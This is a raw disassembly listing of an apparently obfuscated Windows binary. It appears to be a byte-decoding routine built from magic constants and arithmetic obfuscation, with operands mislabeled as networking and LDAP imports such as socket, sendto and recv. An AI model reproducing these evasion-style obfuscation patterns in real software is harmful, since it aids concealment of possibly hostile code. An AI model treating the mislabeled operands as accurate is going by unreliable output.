lea rax, [r8 + r9]
cmp rax, 0x10
je 0x14008bbca
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14008b932
movabs rcx, 0x2a7c4900f4d5da00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008b664
movabs rdx, 0x8cebdbbecbed7800
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
jmp 0x14008bcef
movabs rdx, 0x54f89201e9abb400
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
jmp 0x14008bbeb
movabs rcx, 0x1d0548450769f000
jmp 0x14008bc25
movabs rcx, 0xe511fe8825282c00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b252
movabs rcx, 0x752b6b0e60a4a400
jmp 0x14008bcb7
movabs rcx, 0x3d3821517e62e000
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec rdi
inc rdi
jmp 0x14008b252
movabs rdx, 0x544d7949c211c00
jmp 0x14008bc6c
lea rax, [r9 + 8]
cmp rdx, rax
jae 0x14008b7e4
movabs rcx, 0x9bf9a4de7120e200
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008b6b5
lea rax, [r9 + 1]
cmp rdx, rax
jne 0x14008b81d
movabs rcx, 0x96f50c7e8f651400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, byte [rbp + rdi + 0xf28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b252
inc rax
cmp rdx, rax
jne 0x14008b844
movabs rcx, 0xcee8563b71a6d800
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bcef
lea rax, [r9 + 3]
cmp rdx, rax
jne 0x14008b87f
movabs rcx, 0x76c23372186c2400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b252
lea rax, [r9 + 2]
cmp rdx, rax
jne 0x14008b8a7
movabs rcx, 0xaeb57d2efaade800
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bb8d
lea rax, [r9 + 6]
cmp rdx, rax
jne 0x14008b8d5
movabs rcx, 0xe6a8c6ebdcefac00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec rdi
inc rdi
jmp 0x14008b252
lea rax, [r9 + 4]
cmp rdx, rax
jne 0x14008b906
movabs rcx, 0x1e9c10a8bf317000
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec rdi
inc rdi
jmp 0x14008b252
lea rax, [r9 + 8]
cmp rdx, rax
jne 0x14008b6b5
movabs rcx, 0x568f5a65a1733400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bc80
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008b95a
movabs rcx, 0x626f92bdd7179e00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bc80
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b988
movabs rcx, 0xd25626379b9b2600
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec rdi
inc rdi
jmp 0x14008b252
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008b9b0
movabs rcx, 0xa496ff47ddcea00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bb8d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008b9e8
movabs rcx, 0x7a30036e42607200
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b252
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008ba10
movabs rcx, 0xea1696e806e3fa00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bcef
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008b664
movabs rcx, 0x2209e0a4e925be00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, byte [rbp + rdi + 0xf28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b252
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ba86
movabs rcx, 0x2dea18fd1eca2800
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, byte [rbp + rdi + 0xf28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b252
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008baaa
movabs rcx, 0x9dd0ac76e34db000
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
jmp 0x14008bbe7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008bae5
movabs rcx, 0xdb73ff0a7d13800
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b252
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008bb0d
movabs rcx, 0x45aa89ad8a12fc00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bb8d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008bb3b
movabs rcx, 0x7d9dd36a6c54c000
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec rdi
inc rdi
jmp 0x14008b252
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008b61c
movabs rcx, 0xed8466e430d84800
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008bc80
movabs rdx, 0x5d6afa5df55bd000
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xf28]
sub r11b, al
add r11b, dl
add r11b, bl
movabs rdx, 0xf9649f3c667cb200
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xf28], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b252
movabs rcx, 0x955e441ad79d9400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xf28]
lea r11d, [rbx + rcx]
movabs rcx, 0x3157e8f948be7600
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xf28], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14008bcef
movabs rcx, 0x1b2e40ac953d2200
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b252
movabs rcx, 0x73546375ee77d600
jmp 0x14008bcb7
movabs rdx, 0x36dcffc29f44e00
jmp 0x14008bc6c
movabs rdx, 0x93873c826570c600
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
movabs rcx, 0xc171557f843aee00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
mov byte [rbp + rdi + 0xf28], cl
inc r9
dec rdi
inc rdi
jmp 0x14008b252
movabs rcx, 0x23a0a908a0ed3e00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x14008b252
mov rbx, rdx
movabs rcx, 0xbe0385835a46a00
add rcx, rdi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
movabs rcx, 0xcd518dd7b9df5800
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
mov byte [rbp + rdi + 0xf28], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xf28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b252
movabs rcx, 0xd3ecee9b5362a600
add rcx, rdi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
movzx eax, byte [rbp + rdi + 0xf28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b252
movabs rcx, 0x8b2a790c6156a00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008b24e
movabs rcx, 0xd0bf5dd3e3d3a600
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008b23b
lea rcx, [rbp + 0x157e728]
jmp 0x14008bdb7
lea rcx, [rbp + 0x178c928]
jmp 0x14008bdb7
lea rcx, [rbp + 0xf28]
mov dword [rbp + 0x1028], 0x41200000
mov dword [rbp + 0x1030], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1028]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1030]
mov r8, r14
mov edx, 8
call fcn.140037e30
call fcn.1400408a0
mov byte [rbp + 0xf50], __WSAFDIsSet
mov byte [rbp + 0xf51], 0x42
mov byte [rbp + 0xf52], 0x7a
mov byte [rbp + 0xf53], 0xcb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf54], xmm0
mov qword [rbp + 0xf64], rax
mov dword [rbp + 0xf6c], eax
mov word [rbp + 0xf70], ax
mov byte [rbp + 0xf72], al
movabs rdi, 0x31d4d26abc91520a
movabs rsi, 0xdc1f279dec542b36
movabs r15, 0x70165329a774a262
movabs r14, 0xfbf2814a9d6ae672
movabs r13, 0x1bc5daf74e81a1ae
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008cc24
movzx r11d, byte [rbp + rbx + 0xf50]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008cc1b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008bedc
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x52
jmp 0x14008bf16
je 0x14008cb95
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008cb5e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008cb0e
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008cadc
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008ca83
cmp r9, rbx
ja 0x14008cc12
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14008bf47
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x46
add r10b, dl
jmp 0x14008bf80
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008ca72
inc rax
cmp r8, rax
je 0x14008ca47
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008ca12
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008c9a9
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14008c5e2
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008c5b9
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008c58c
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008c562
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008c54e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008c52a
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008c4f1
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008c4c8
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008c4a3
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008c469
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008bf90
lea r8, [r9 + 9]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008cbee
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008cbc9
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14008c174
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008c159
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008c13e
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008c3ff
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008c3a0
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008c34c
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008c318
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14008bf90
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008c2e3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008c2ba
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008c296
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008c262
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008c239
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14008c215
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008c1ea
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008c1b8
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008c194
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008bf90
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x40]
jmp 0x14008bf90
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
jmp 0x14008bf80
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x14008bf16
lea rdx, [rbx + r13]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008bea5
movabs rcx, 0x8ea69355e48a9050
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x14008caa7
movabs rdx, 0xae79ed0295a14b8c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008be92
movabs rcx, 0xce4d46af46b806c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
dec rbx
inc rbx
jmp 0x14008be92
movabs rcx, 0xee20a05bf7cec204
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x14008cb32
movabs rdx, 0xdf3fa08a8e57d40
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cb7d
movabs rcx, 0x2dc753b559fc387c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008be92
movabs rcx, 0x4d9aad620b12f3b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x14008c973
movabs rdx, 0x6d6e070ebc29aef4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c9cc
movabs rcx, 0x8d4160bb6d406a30
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008be92
movabs rdx, 0x5cd1c0eb27f93e46
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0xf50], r10b
inc rbx
jmp 0x14008be92
movabs rdx, 0x7ca51a97d90ff982
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x41
jb 0x14008c33c
movabs rcx, 0xa8e52298b878b30c
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14008caa7
movabs rcx, 0x9c7874448a26b4be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
cmp r8, 0x61
jae 0x14008c922
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14008c841
movabs rdx, 0xe726a357a35c0364
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008c370
movabs rdx, 0xbc4bcdf13b3d6ffa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r8 + r9]
cmp rax, 0x10
je 0x14008c94d
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14008c722
movabs rdx, 0xb551d0ece6cab15a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x76
add r10b, dl
jmp 0x14008c3bf
movabs rdx, 0x2afcee806b67ec3c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008be92
movabs rdx, 0x4ad0482d1c7ea778
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x48
jmp 0x14008c9c9
movabs rdx, 0x6aa3a1d9cd9562b4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008c973
movabs rdx, 0x8a76fb867eac1df0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008be92
movabs rcx, 0xaa4a55332fc2d92c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
jmp 0x14008cb7d
movabs rdx, 0xca1daedfe0d99468
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14008cb1d
movabs rcx, 0xe9f1088c91f04fa4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
dec rbx
inc rbx
jmp 0x14008be92
movabs rcx, 0x9c4623943070ae0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14008be92
movabs rdx, 0x2997bbe5f41dc61c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008caa7
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14008c602
lea rdx, [rbx + r15]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x14008c417
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008c645
movabs rdx, 0x63a9a4d57922a414
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008be92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c672
movabs rcx, 0x2402f17c16f52d9c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x14008c973
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008c6b4
movabs rdx, 0x42f97cf65de7260
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008be92
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008c6e6
movabs rdx, 0xe45c3e22b4c7b724
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cb7d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008c423
movabs rdx, 0xa4b58ac9529a40ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008be92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008c754
movabs rdx, 0x957e774035b3f61e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008caa7
inc rax
cmp r8, rax
jne 0x14008c78b
movabs rdx, 0x55d7c3e6d3867fa6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008be92
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008c7b8
movabs rcx, 0x1631108d7159092e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14008cb7d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c7fa
movabs rdx, 0xf65db6e0c0424df2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008be92
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008c3bf
movabs rdx, 0x96e3a9daacfe1c3e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008be92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008c87f
movabs rcx, 0xc75349aaf2454828
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008be92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008c8b1
movabs rdx, 0x87ac96519017d1b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008c973
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008c8e3
movabs rdx, 0x2832894b7cd39ffc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008cb32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008c370
movabs rdx, 0xe88bd5f21aa62984
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008be92
movabs rdx, 0x8911c8ec0761f7d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xf50]
jmp 0x14008cb2c
movabs rcx, 0x693e6f3f564b3c94
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xf50]
lea r10d, [r11 + rcx]
sub r10b, 0xc
movabs rdx, 0xd954c268fdbfdef6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xf50], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14008c9cc
movabs rdx, 0x333a050533db782a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
add r10b, dl
movabs rcx, 0x496b1592a5348158
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x68
add cl, r11b
mov byte [rbp + rbx + 0xf50], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008be92
movabs rcx, 0x72e0b85e9608eea2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008be92
movabs rcx, 0xd25ac564a94d2056
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5a
dec rbx
inc rbx
jmp 0x14008be92
movabs rdx, 0x120178be0b7a96ce
mov ecx, Ordinal_50
jmp 0x14008ca92
movabs rdx, 0x51a82c176da80d46
mov ecx, listen
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x18fb75c25fed556e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 2
add r11b, cl
mov byte [rbp + rbx + 0xf50], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008be92
movabs rdx, 0x717b85c41ebec882
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14008be92
movabs rdx, 0xb122391d80ec3efa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0xf9281c15aed69a32
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5e
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xf50], r11b
jmp 0x14008cb7d
movabs rcx, 0xd0f592ca3202fa36
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008be92
movabs rcx, 0x5042f97cf65de726
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0xa
movzx eax, byte [rbp + rbx + 0xf50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008be92
movabs rcx, 0x3b9934a3ff985cea
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
